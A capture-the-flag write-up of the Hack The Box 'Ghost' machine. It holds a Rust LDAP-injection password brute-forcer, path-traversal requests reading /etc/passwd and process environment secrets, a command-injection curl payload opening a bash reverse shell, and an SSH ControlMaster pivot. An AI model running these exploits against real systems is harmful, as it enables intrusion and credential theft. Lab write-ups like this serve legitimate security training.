Ghost HTB Insane Box
Intro
[!NOTE] [!IMPORTANT]
- This is a super Insane box, and I am not kidding, true that some of the methods are well known, but the system is very real, multi boxes, multi service exploitation, pivoting, pivoting, etc. I have done my best to compile the steps from my notes, but as you can picture from a box that has take me on and off 3 weeks to finish some of my notes have failed attents to rabbit holes or methods that are correct but I may forgot with one is the one that worked, but the fact that I will show the intended way path step by step, it really does not matter if my copy/paste command is not exactly format the right way, for example in some cases the hash will not work since it changes, but what matters is the path to get the person reading this to think, learn and to be able to modify my methods to his information and data. Happy Hacking!
Nmap
RECON, Information Gathering
nmap -sV -sC -AT4 10.xx.xx.xx -p- -v
Starting Nmap 7.95 ( https://nmap.org ) at 2024-09-29 20:09 CEST
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 20:09
Completed NSE at 20:09, 0.00s elapsed
Initiating NSE at 20:09
Completed NSE at 20:09, 0.00s elapsed
Initiating NSE at 20:09
Completed NSE at 20:09, 0.00s elapsed
Initiating Ping Scan at 20:09
Scanning 10.xx.xx.xx [2 ports]
Completed Ping Scan at 20:09, 0.04s elapsed (1 total hosts)
Initiating Connect Scan at 20:09
Scanning core.ghost.htb (10.xx.xx.xx) [65535 ports]
Discovered open port 139/tcp on 10.xx.xx.xx
Discovered open port 53/tcp on 10.xx.xx.xx
Discovered open port 445/tcp on 10.xx.xx.xx
Discovered open port 443/tcp on 10.xx.xx.xx
Discovered open port 80/tcp on 10.xx.xx.xx
Discovered open port 3389/tcp on 10.xx.xx.xx
Discovered open port 135/tcp on 10.xx.xx.xx
Discovered open port 49669/tcp on 10.xx.xx.xx
Connect Scan Timing: About 15.52% done; ETC: 20:12 (0:02:49 remaining)
Discovered open port 3269/tcp on 10.xx.xx.xx
Discovered open port 49664/tcp on 10.xx.xx.xx
Discovered open port 53930/tcp on 10.xx.xx.xx
Discovered open port 9389/tcp on 10.xx.xx.xx
Connect Scan Timing: About 39.15% done; ETC: 20:11 (0:01:35 remaining)
Discovered open port 54074/tcp on 10.xx.xx.xx
Discovered open port 49677/tcp on 10.xx.xx.xx
Discovered open port 2179/tcp on 10.xx.xx.xx
Discovered open port 8008/tcp on 10.xx.xx.xx
Discovered open port 60706/tcp on 10.xx.xx.xx
Discovered open port 49443/tcp on 10.xx.xx.xx
Discovered open port 636/tcp on 10.xx.xx.xx
Discovered open port 389/tcp on 10.xx.xx.xx
Discovered open port 593/tcp on 10.xx.xx.xx
Discovered open port 1433/tcp on 10.xx.xx.xx
Connect Scan Timing: About 74.92% done; ETC: 20:11 (0:00:30 remaining)
Discovered open port 464/tcp on 10.xx.xx.xx
Discovered open port 3268/tcp on 10.xx.xx.xx
Discovered open port 5985/tcp on 10.xx.xx.xx
Discovered open port 88/tcp on 10.xx.xx.xx
Completed Connect Scan at 20:10, 113.94s elapsed (65535 total ports)
Initiating Service scan at 20:10
Scanning 26 services on core.ghost.htb (10.xx.xx.xx)
Completed Service scan at 20:11, 54.38s elapsed (26 services on 1 host)
NSE: Script scanning 10.xx.xx.xx.
Initiating NSE at 20:11
Completed NSE at 20:12, 40.15s elapsed
Initiating NSE at 20:12
Completed NSE at 20:12, 2.17s elapsed
Initiating NSE at 20:12
Completed NSE at 20:12, 0.00s elapsed
Nmap scan report for core.ghost.htb (10.xx.xx.xx)
Host is up (0.036s latency).
Not shown: 65509 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-09-29 18:11:01Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Issuer: commonName=DC01.ghost.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-06-19T15:45:56
| Not valid after: 2124-06-19T15:55:55
| MD5: 5baa:c0a2:2d16:3ddf:29e3:d21c:154f:9aaa
|_SHA-1: d9d2:b4cd:cddf:b8a5:884b:a4b8:4648:ab24:4c78:54df
|_ssl-date: TLS randomness does not represent time
443/tcp open https?
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Issuer: commonName=DC01.ghost.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-06-19T15:45:56
| Not valid after: 2124-06-19T15:55:55
| MD5: 5baa:c0a2:2d16:3ddf:29e3:d21c:154f:9aaa
|_SHA-1: d9d2:b4cd:cddf:b8a5:884b:a4b8:4648:ab24:4c78:54df
|_ssl-date: TLS randomness does not represent time
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_ssl-date: 2024-09-29T18:12:30+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 3072
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-09-29T18:03:37
| Not valid after: 2054-09-29T18:03:37
| MD5: 3670:95c5:ef24:b0c5:4634:9af4:a744:d1a8
|_SHA-1: 08dd:b159:8f84:0806:d0d5:6047:964e:4b88:286c:c418
2179/tcp open vmrdp?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Issuer: commonName=DC01.ghost.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-06-19T15:45:56
| Not valid after: 2124-06-19T15:55:55
| MD5: 5baa:c0a2:2d16:3ddf:29e3:d21c:154f:9aaa
|_SHA-1: d9d2:b4cd:cddf:b8a5:884b:a4b8:4648:ab24:4c78:54df
|_ssl-date: TLS randomness does not represent time
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Issuer: commonName=DC01.ghost.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-06-19T15:45:56
| Not valid after: 2124-06-19T15:55:55
| MD5: 5baa:c0a2:2d16:3ddf:29e3:d21c:154f:9aaa
|_SHA-1: d9d2:b4cd:cddf:b8a5:884b:a4b8:4648:ab24:4c78:54df
|_ssl-date: TLS randomness does not represent time
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Issuer: commonName=DC01.ghost.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-06-16T15:49:55
| Not valid after: 2024-12-16T15:49:55
| MD5: 7e9a:4e05:78e6:8e7a:ef13:1712:94cf:6279
|_SHA-1: a19b:426c:3d83:7ff2:b680:93f4:f574:843a:99d0:bb8a
|_ssl-date: 2024-09-29T18:12:29+00:00; 0s from scanner time.
| rdp-ntlm-info:
| Target_Name: GHOST
| NetBIOS_Domain_Name: GHOST
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: ghost.htb
| DNS_Computer_Name: DC01.ghost.htb
| DNS_Tree_Name: ghost.htb
| Product_Version: 10.0.20348
|_ System_Time: 2024-09-29T18:11:50+00:00
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
8008/tcp open http nginx 1.18.0 (Ubuntu)
|_http-generator: Ghost 5.78
|_http-favicon: Unknown favicon MD5: A9C6DBDCDC3AE568F4E0DAD92149A0E3
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Ghost
| http-methods:
|_ Supported Methods: POST GET HEAD OPTIONS
| http-robots.txt: 5 disallowed entries
|_/ghost/ /p/ /email/ /r/ /webmentions/receive/
9389/tcp open mc-nmf .NET Message Framing
49443/tcp open unknown
49664/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49677/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
53930/tcp open msrpc Microsoft Windows RPC
54074/tcp open msrpc Microsoft Windows RPC
60706/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel
Host script results:
| smb2-time:
| date: 2024-09-29T18:11:54
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
NSE: Script Post-scanning.
Initiating NSE at 20:12
Completed NSE at 20:12, 0.00s elapsed
Initiating NSE at 20:12
Completed NSE at 20:12, 0.00s elapsed
Initiating NSE at 20:12
Completed NSE at 20:12, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 210.84 seconds
[!note]
- Interesting things such as port
389
which is theLDAP
port to for the AD server with domainDC01.ghost.htb
. - Also port
1433
for the `MSSQl`` 2022 db. - And 2 ports running the
Nginx
web server daemon, namely ports8008
and8443
with theubuntu
header. - From the information we have is that this is a windows box, but after looking at the
nmap
results, out there areubuntu
GNU/Linux
in the banners.
Prepare exploration
lets start by starting mitmproxy with the hacking plugin.
- ok lets explore so we get all the data in the proxy. Browse all the pages and review results.
- Found a couple interesting places including the robots.txt etc.
- Lets search the found paths
- At the same time we run some subdomain finder.
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://FUZZ.ghost.htb:8008
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://FUZZ.ghost.htb:8008
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
intranet [Status: 307, Size: 3968, Words: 52, Lines: 1, Duration: 87ms]
static [Status: 200, Size: 7676, Words: 1423, Lines: 185, Duration: 117ms]
core [Status: 200, Size: 7676, Words: 1423, Lines: 185, Duration: 94ms]
- And we continue...
- Inspecting with
mitmproy
we see that in the request, the authentication is using ldap. - let's try to find information about ldap injection vulnerability.
- We find that we ca use the character/wildcard "*" on the username and password.
- After we logged in also on
mitmproxy
there is information about the gitea repository migration and the login used isgitea_temp_principal
. Then we can leverage the vulnerability by bruteforce technique by sending a payload of uppercase, lowercase and number alphabets 0–9.
You can only login with the gitea_temp_principal account and its corresponding intranet token as password.
We can't post the password here for security reasons, but:
For IT: Ask sysadmins for the password.
For sysadmins: Look in LDAP for the attribute. You can also test the credentials by logging in to intranet.
- Ok going to craft some code very fast to exploit this.
- we can enter the site with
*
and*
as mentioned above but we want to enumerate the actual password
/home/rek2/Sync/hackthebox/ghost-10.xx.xx.xx/exploit_ldap_auth/src
- main.rs
use reqwest::multipart;
use tokio::time::{sleep, Duration};
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
let url = "http://intranet.ghost.htb:8008/login";
let mut headers = reqwest::header::HeaderMap::new();
headers.insert("Host", "intranet.ghost.htb:8008".parse()?);
headers.insert("Accept-Language", "en-US,en;q=0.5".parse()?);
headers.insert("Accept-Encoding", "gzip, deflate, br".parse()?);
headers.insert(
"Next-Action",
"c471eb076ccac91d6f828b671795550fd5925940".parse()?,
);
headers.insert("Connection", "keep-alive".parse()?);
let client = reqwest::Client::new();
let mut passw = String::new();
let charset = "abcdefghijklmnopqrstuvwxyz0123456789"
.chars()
.collect::<Vec<char>>();
loop {
let mut found_char = false;
for &ch in &charset {
let new_pass = format!("{}{}*", passw, ch);
let form = multipart::Form::new()
.text("1_ldap-username", "gitea_temp_principal")
.text("1_ldap-secret", new_pass.clone())
.text("0", "[{},\"$K1\"]");
let res = client
.post(url)
.headers(headers.clone())
.multipart(form)
.send()
.await?;
if res.status().as_u16() == 303 {
passw.push(ch);
println!("Passwd: {}", passw);
found_char = true;
break;
}
sleep(Duration::from_millis(500)).await; // Adding a delay to avoid rate-limiting
}
if !found_char {
break;
}
}
println!("Final Password: {}", passw);
Ok(())
}
- Cargo.toml
[package]
name = "exploit_ldap_auth"
version = "0.1.0"
edition = "2021"
[dependencies]
reqwest = { version = "0.11", features = ["json", "multipart"] }
tokio = { version = "1", features = ["full"] }
…/exploit_ldap_auth main ? v1.80.1 ♥ 21:13 ./target/debug/exploit_ldap_auth
Passwd: s
Passwd: sz
Passwd: szr
Passwd: szrr
Passwd: szrr8
Passwd: szrr8k
Passwd: szrr8kp
Passwd: szrr8kpc
Passwd: szrr8kpc3
Passwd: szrr8kpc3z
Passwd: szrr8kpc3z6
Passwd: szrr8kpc3z6o
Passwd: szrr8kpc3z6on
Passwd: szrr8kpc3z6onl
Passwd: szrr8kpc3z6onlq
Passwd: szrr8kpc3z6onlqf
Final Password: szrr8kpc3z6onlqf
- GREAT! now we have the password.
szrr8kpc3z6onlqf
gitea_temp_principal:szrr8kpc3z6onlqf
[!ATTENTION]
- Also investigating all the posts on the intranet site there is one that says:
- do not forget
bitbucket.ghost.htb
we will need later to use that forDNS Poisoning
Cannot connect to BitBucket
Hello all, I tried to connect to bitbucket.ghost.htb but it doesn't work. Any idea why? I have a script that checks the pipeline results and it works in Gitea, I tried adapting it to Bitbucket and it works locally but I can't test it on our servers
-
Knowing their subdomain format we add gitea to
/etc/hosts
and tryhttp://gitea.ghost.htb:8008
yay! good it works -
now lets spray this into the other subdoains
gitea.ghost.htb:8008
-
nice! it works for
gitea
-
We find 2 repos:
- ghost-dev/blog
- ghost-dev/intranet
-
git clone both!
-
We review in the blog repo the .js file
posts-public.js
-
here is a snippet of the important part:
module.exports = {
docName: 'posts',
browse: {
headers: {
cacheInvalidate: false
},
cache: postsPublicService.api?.cache,
generateCacheKeyData(frame) {
return {
options: generateOptionsData(frame, [
'include',
'filter',
'fields',
'formats',
'limit',
'order',
'page',
'absolute_urls',
'collection'
]),
auth: generateAuthData(frame),
method: 'browse'
};
},
options: [
'include',
'filter',
'fields',
'formats',
'limit',
'order',
'page',
'debug',
'absolute_urls',
'collection'
],
validation: {
options: {
include: {
values: allowedIncludes
},
formats: {
values: models.Post.allowedFormats
}
}
},
permissions: true,
async query(frame) {
const options = {
...frame.options,
mongoTransformer: rejectPrivateFieldsTransformer
};
const posts = await postsService.browsePosts(options);
const extra = frame.original.query?.extra;
if (extra) {
const fs = require("fs");
if (fs.existsSync(extra)) {
const fileContent = fs.readFileSync("/var/lib/ghost/extra/" + extra, { encoding: "utf8" });
posts.meta.extra = { [extra]: fileContent };
}
}
return posts;
}
},
[!attention]
- Check /var/lib/ghost/extra/ path and like.
+ extra
- lets try to find out from their website:
URL
https://{admin_domain}/ghost/api/content/
Your admin domain can be different to your site domain. Using the correct domain and protocol are critical to getting consistent behaviour, particularly when dealing with CORS in the browser. All Ghost(Pro) blogs have a *.ghost.io domain as their admin domain and require https
- GREAT lets try this browse to
http://ghost.htb:8008/ghost/api/content
and we get:
{"errors":[{"message":"Resource not found","context":null,"type":"NotFoundError","details":null,"property":null,"help":null,"code":null,"id":"2f34ae60-7ea5-11ef-ba4a-8b514448a447","ghostErrorCode":null}]}
- after some small investigation on
mitmproy
we can get thekey=
http://ghost.htb/ghost/api/content/posts/?key=37395e9e872be56438c83aaca6&limit=10000&fields=id%2Cslug%2Ctitle%2Cexcerpt%2Curl%2Cupdated_at%2Cvisibility&order=updated_at%20DESC
-
ok we got a nice key
37395e9e872be56438c83aaca6
-
Inspecting more lets use the
extra
argument we found vulnerable above inspecting the blog repo. [!ATTENTION] -
The POC
http://ghost.htb:8008/ghost/api/content/posts/?key=37395e9e872be56438c83aaca6&extra=../../../../../../../etc/passwd
is vulnerable!!!- you have to scroll down to see the
/etc/passwd
file.
- you have to scroll down to see the
-
ok lets get some more info and then get revshell.
-
ok doing enumeration found soe JUICE
http://ghost.htb:8008/ghost/api/content/posts/?key=37395e9e872be56438c83aaca6&extra=../../../../../../../proc/self/environ
- this will give us:
"HOSTNAME=26ae7990f3dd\u0000database__debug=false\u0000YARN_VERSION=1.22.19\u0000PWD=/var/lib/ghost\u0000NODE_ENV=production\u0000database__connection__filename=content/data/ghost.db\u0000HOME=/home/node\u0000database__client=sqlite3\u0000url=http://ghost.htb\u0000DEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xe\u0000database__useNullAsDefault=true\u0000GHOST_CONTENT=/var/lib/ghost/content\u0000SHLVL=0\u0000GHOST_CLI_VERSION=1.25.3\u0000GHOST_INSTALL=/var/lib/ghost\u0000PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\u0000NODE_VERSION=18.19.0\u0000GHOST_VERSION=5.78.0\u0000"
-
looks good, we find the
DEV_INTRANET_KEY
value!@yqr!X2kxmQ.@Xe
-
Our enumeration before on
intranet
revealed before ahttp://intranet.ghost.htb:8008/api-dev
fromhttp://gitea.ghost.htb:8008/ghost-dev/intranet/src/branch/main/backend/src/api/dev/scan.rs
-
Let's build our payload:
#!/bin/bash
curl http://intranet.ghost.htb:8008/api-dev/scan -X POST -H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' -H 'Content-Type: application/json' -d '{"url": ";/bin/bash -i >& /dev/tcp/10.xx.xx.xx/6667 0>&1"}'
[!ATTENTION]
-
IT WORKS!
-
ok now more enumeration local
-
ok as usuall in a docker container we have check the entrypoint file and we see it created some files inside .ssh/
root@36b733906694:~/.ssh/controlmaster# ls ls
ls
florence.ramirez@ghost.htb@dev-workstation:22
root@36b733906694:~/.ssh/controlmaster# pwd
pwd
/root/.ssh/controlmaster
- we see a username
florence.ramirez
- now we also find in the ENV some interesting credentials
root@36b733906694:/app# env
env
DATABASE_URL=./database.sqlite
HOSTNAME=36b733906694
PWD=/app
HOME=/root
CARGO_HOME=/usr/local/cargo
LDAP_BIND_DN=CN=Intranet Principal,CN=Users,DC=ghost,DC=htb
LDAP_HOST=ldap://windows-host:389
LDAP_BIND_PASSWORD=He!KA9oKVT3rL99j
DEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xe
RUSTUP_HOME=/usr/local/rustup
ROCKET_ADDRESS=0.0.0.0
SHLVL=2
RUST_VERSION=1.79.0
PATH=/usr/local/cargo/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
JWT_SECRET=*xopkAGbLyg9bK_A
_=/usr/bin/env
- Also we find a sqlite db
database.sqlite
- and SOMETHING SUPER Interesting
- doing RTFM about this ssh persitent controlmaster and the content of
.ssh/config
ssh -O check florence.ramirez@ghost.htb@dev-workstation
dev-workstationorence.ramirez@ghost.htb@d
Master running (pid=19)
- hmm we onto something here!
ssh -tt florence.ramirez@ghost.htb@dev-workstation
Last login: Thu Feb 1 23:58:45 2024 from 172.18.0.1
florence.ramirez@LINUX-DEV-WS01:~$
- some commands do not work but others do:
whoami
florence.ramirez
pwd
/home/GHOST/florence.ramirez
- and more ok this is the last one I write until I actually find something
cat /etc/hostname
LINUX-DEV-WS01
[!ATTENTION]
- ok so this Linux dev image is attached to the DC/AD on windows I inspected like in all docker containers the
docker-entrypoint
cat docker-entrypoint.sh
#! /bin/bash
# adapted from https://github.com/fjudith/docker-samba-join-ad
# Reference:
# * https://wiki.debian.org/AuthenticatingLinuxWithActiveDirectory
# * https://wiki.samba.org/index.php/Troubleshooting_Samba_Domain_Members
# * http://www.oreilly.com/openbook/samba/book/ch04_08.html
if [ -f /tmp/init_success ]; then
service ssh restart
exec "$@"
fi
set -e
TZ=${TZ:-Etc/UTC}
# Update loopback entry
TZ=${TZ:-Etc/UTC}
AD_USERNAME=${AD_USERNAME:-administrator}
AD_PASSWORD=${AD_PASSWORD:-password}
HOSTNAME=${HOSTNAME:-$(hostname)}
IP_ADDRESS=${IP_ADDRESS:-}
DOMAIN_NAME=${DOMAIN_NAME:-domain.loc}
ADMIN_SERVER=${ADMIN_SERVER:-${DOMAIN_NAME,,}}
PASSWORD_SERVER=${PASSWORD_SERVER:-${ADMIN_SERVER,,}}
ENCRYPTION_TYPES=${ENCRYPTION_TYPES:-rc4-hmac des3-hmac-sha1 des-cbc-crc arcfour-hmac aes256-cts-hmac-sha1-96 aes128-cts-hmac-sha1-96 des-cbc-md5}
NAME_RESOLVE_ORDER=${NAME_RESOLVE_ORDER:-host bcast}
SERVER_STRING=${SERVER_STRING:-Samba Server Version %v}
SECURITY=${SECURITY:-ads}
REALM=${REALM:-${DOMAIN_NAME^^}}
PASSWORD_SERVER=${PASSWORD_SERVER:-${DOMAIN_NAME,,}}
WORKGROUP=${WORKGROUP:-${DOMAIN_NAME^^}}
WINBIND_SEPARATOR=${WINBIND_SEPARATOR:-"\\"}
WINBIND_UID=${WINBIND_UID:-50-9999999999}
WINBIND_GID=${WINBIND_GID:-50-9999999999}
WINBIND_ENUM_USERS=${WINBIND_ENUM_USERS:-yes}
WINBIND_ENUM_GROUPS=${WINBIND_ENUM_GROUPS:-yes}
TEMPLATE_HOMEDIR=${TEMPLATE_HOMEDIR:-/home/%D/%U}
TEMPLATE_SHELL=${TEMPLATE_SHELL:-/bin/bash}
CLIENT_USE_SPNEGO=${CLIENT_USE_SPNEGO:-yes}
CLIENT_NTLMV2_AUTH=${CLIENT_NTLMV2_AUTH:-yes}
ENCRYPT_PASSWORDS=${ENCRYPT_PASSWORDS:-yes}
SERVER_SIGNING=${SERVER_SIGNING:-auto}
SMB_ENCRYPT=${SMB_ENCRYPT:-auto}
WINDBIND_USE_DEFAULT_DOMAIN=${WINBIND_USE_DEFAULT_DOMAIN:-yes}
RESTRICT_ANONYMOUS=${RESTRICT_ANONYMOUS:-2}
DOMAIN_MASTER=${DOMAIN_MASTER:-no}
LOCAL_MASTER=${LOCAL_MASTER:-no}
PREFERRED_MASTER=${PREFERRED_MASTER:-no}
OS_LEVEL=${OS_LEVEL:-0}
WINS_SUPPORT=${WINS_SUPPORT:-no}
WINS_SERVER=${WINS_SERVER:-127.0.0.1}
DNS_PROXY=${DNS_PROXY:-no}
LOG_LEVEL=${LOG_LEVEL:-1}
DEBUG_TIMESTAMP=${DEBUG_TIMESTAMP:-yes}
LOG_FILE=${LOG_FILE:-/var/log/samba/log.%m}
MAX_LOG_SIZE=${MAX_LOG_SIZE:-1000}
# Deprecated: SYSLOG_ONLY=${SYSLOG_ONLY:-no}
# Deprecated: SYSLOG=${SYSLOG:-0}
PANIC_ACTION=${PANIC_ACTION:-/usr/share/samba/panic-action %d}
HOSTS_ALLOW=${HOSTS_ALLOW:-*}
SOCKET_OPTIONS=${SOCKET_OPTIONS:-TCP_NODELAY SO_KEEPALIVE IPTOS_LOWDELAY}
READ_RAW=${READ_RAW:-yes}
WRITE_RAW=${WRITE_RAW:-yes}
OPLOCKS=${OPLOCKS:-no}
LEVEL2_OPLOCKS=${LEVEL2_OPLOCKS:-no}
KERNEL_OPLOCKS=${KERNEL_OPLOCKS:-yes}
MAX_XMIT=${MAX_XMIT:-65535}
DEAD_TIME=${DEAD_TIME:-15}
SAMBA_CONF=/etc/samba/smb.conf
echo --------------------------------------------------
echo "Backing up current smb.conf"
echo --------------------------------------------------
if [[ ! -f /etc/samba/smb.conf.original ]]; then
mv -v /etc/samba/smb.conf /etc/samba/smb.conf.original
touch $SAMBA_CONF
fi
echo --------------------------------------------------
echo "Setting up Timzone: \"${TZ}\""
echo --------------------------------------------------
echo $TZ | tee /etc/timezone
dpkg-reconfigure --frontend noninteractive tzdata
echo --------------------------------------------------
echo "Setting up Kerberos realm: \"${DOMAIN_NAME^^}\""
echo --------------------------------------------------
if [[ ! -f /etc/krb5.conf.original ]]; then
mv /etc/krb5.conf /etc/krb5.conf.original
fi
cat > /etc/krb5.conf << EOL
[logging]
default = FILE:/var/log/krb5.log
kdc = FILE:/var/log/kdc.log
admin_server = FILE:/var/log/kadmind.log
[libdefaults]
default_realm = ${DOMAIN_NAME^^}
dns_lookup_realm = false
dns_lookup_kdc = false
[realms]
${DOMAIN_NAME^^} = {
kdc = $(echo ${ADMIN_SERVER,,} | awk '{print $1}')
admin_server = $(echo ${ADMIN_SERVER,,} | awk '{print $1}')
default_domain = ${DOMAIN_NAME^^}
}
${DOMAIN_NAME,,} = {
kdc = $(echo ${ADMIN_SERVER,,} | awk '{print $1}')
admin_server = $(echo ${ADMIN_SERVER,,} | awk '{print $1}')
default_domain = ${DOMAIN_NAME,,}
}
${WORKGROUP^^} = {
kdc = $(echo ${ADMIN_SERVER,,} | awk '{print $1}')
admin_server = $(echo ${ADMIN_SERVER,,} | awk '{print $1}')
default_domain = ${DOMAIN_NAME^^}
}
[domain_realm]
.${DOMAIN_NAME,,} = ${DOMAIN_NAME^^}
${DOMAIN_NAME,,} = ${DOMAIN_NAME^^}
EOL
echo --------------------------------------------------
echo "Activating home directory auto-creation"
echo --------------------------------------------------
echo "session required pam_mkhomedir.so skel=/etc/skel/ umask=0022" | tee -a /etc/pam.d/common-session
echo --------------------------------------------------
echo "Generating Samba configuration: \"${SAMBA_CONF}\""
echo --------------------------------------------------
crudini --set $SAMBA_CONF global "vfs objects" "acl_xattr"
crudini --set $SAMBA_CONF global "map acl inherit" "yes"
crudini --set $SAMBA_CONF global "store dos attributes" "yes"
crudini --set $SAMBA_CONF global "workgroup" "$WORKGROUP"
crudini --set $SAMBA_CONF global "server string" "$SERVER_STRING"
# Add the IPs / subnets allowed acces to the server in general.
crudini --set $SAMBA_CONF global "hosts allow" "$HOSTS_ALLOW"
# log files split per-machine.
crudini --set $SAMBA_CONF global "log file" "$LOG_FILE"
# Enable debug
crudini --set $SAMBA_CONF global "log level" "$LOG_LEVEL"
# Maximum size per log file, then rotate.
crudini --set $SAMBA_CONF global "max log size" "$MAX_LOG_SIZE"
# Active Directory
crudini --set $SAMBA_CONF global "security" "$SECURITY"
crudini --set $SAMBA_CONF global "encrypt passwords" "$ENCRYPT_PASSWORDS"
crudini --set $SAMBA_CONF global "passdb backend" "tdbsam"
crudini --set $SAMBA_CONF global "realm" "$REALM"
# Disable Printers.
crudini --set $SAMBA_CONF global "printcap name" "/dev/null"
crudini --set $SAMBA_CONF global "panic action" "no"
crudini --set $SAMBA_CONF global "cups options" "raw"
# Name resolution order
crudini --set $SAMBA_CONF global "name resolve order" "$NAME_RESOLVE_ORDER"
# Performance Tuning
crudini --set $SAMBA_CONF global "socket options" "$SOCKET_OPTIONS"
crudini --set $SAMBA_CONF global "read raw" "$READ_RAW"
crudini --set $SAMBA_CONF global "write raw" "$WRITE_RAW"
crudini --set $SAMBA_CONF global "oplocks" "$OPLOCKS"
crudini --set $SAMBA_CONF global "level2 oplocks" "$LEVEL2_OPLOCKS"
crudini --set $SAMBA_CONF global "kernel oplocks" "$KERNEL_OPLOCKS"
crudini --set $SAMBA_CONF global "max xmit" "$MAX_XMIT"
crudini --set $SAMBA_CONF global "dead time" "$DEAD_TIME"
# Point to specific kerberos server
crudini --set $SAMBA_CONF global "password server" "$PASSWORD_SERVER"
# #crudini --set $SAMBA_CONF global "winbind separator" "$WINBIND_SEPARATOR"
crudini --set $SAMBA_CONF global "winbind uid" "$WINBIND_UID"
crudini --set $SAMBA_CONF global "winbind gid" "$WINBIND_GID"
crudini --set $SAMBA_CONF global "winbind use default domain" "$WINDBIND_USE_DEFAULT_DOMAIN"
crudini --set $SAMBA_CONF global "winbind enum users" "$WINBIND_ENUM_USERS"
crudini --set $SAMBA_CONF global "winbind enum groups" "$WINBIND_ENUM_GROUPS"
crudini --set $SAMBA_CONF global "template homedir" "$TEMPLATE_HOMEDIR"
crudini --set $SAMBA_CONF global "template shell" "$TEMPLATE_SHELL"
crudini --set $SAMBA_CONF global "client use spnego" "$CLIENT_USE_SPNEGO"
crudini --set $SAMBA_CONF global "client ntlmv2 auth" "$CLIENT_NTLMV2_AUTH"
crudini --set $SAMBA_CONF global "encrypt passwords" "$ENCRYPT_PASSWORDS"
crudini --set $SAMBA_CONF global "server signing" "$SERVER_SIGNING"
crudini --set $SAMBA_CONF global "smb encrypt" "$SMB_ENCRYPT"
crudini --set $SAMBA_CONF global "restrict anonymous" "$RESTRICT_ANONYMOUS"
crudini --set $SAMBA_CONF global "domain master" "$DOMAIN_MASTER"
crudini --set $SAMBA_CONF global "local master" "$LOCAL_MASTER"
crudini --set $SAMBA_CONF global "preferred master" "$PREFERRED_MASTER"
crudini --set $SAMBA_CONF global "os level" "$OS_LEVEL"
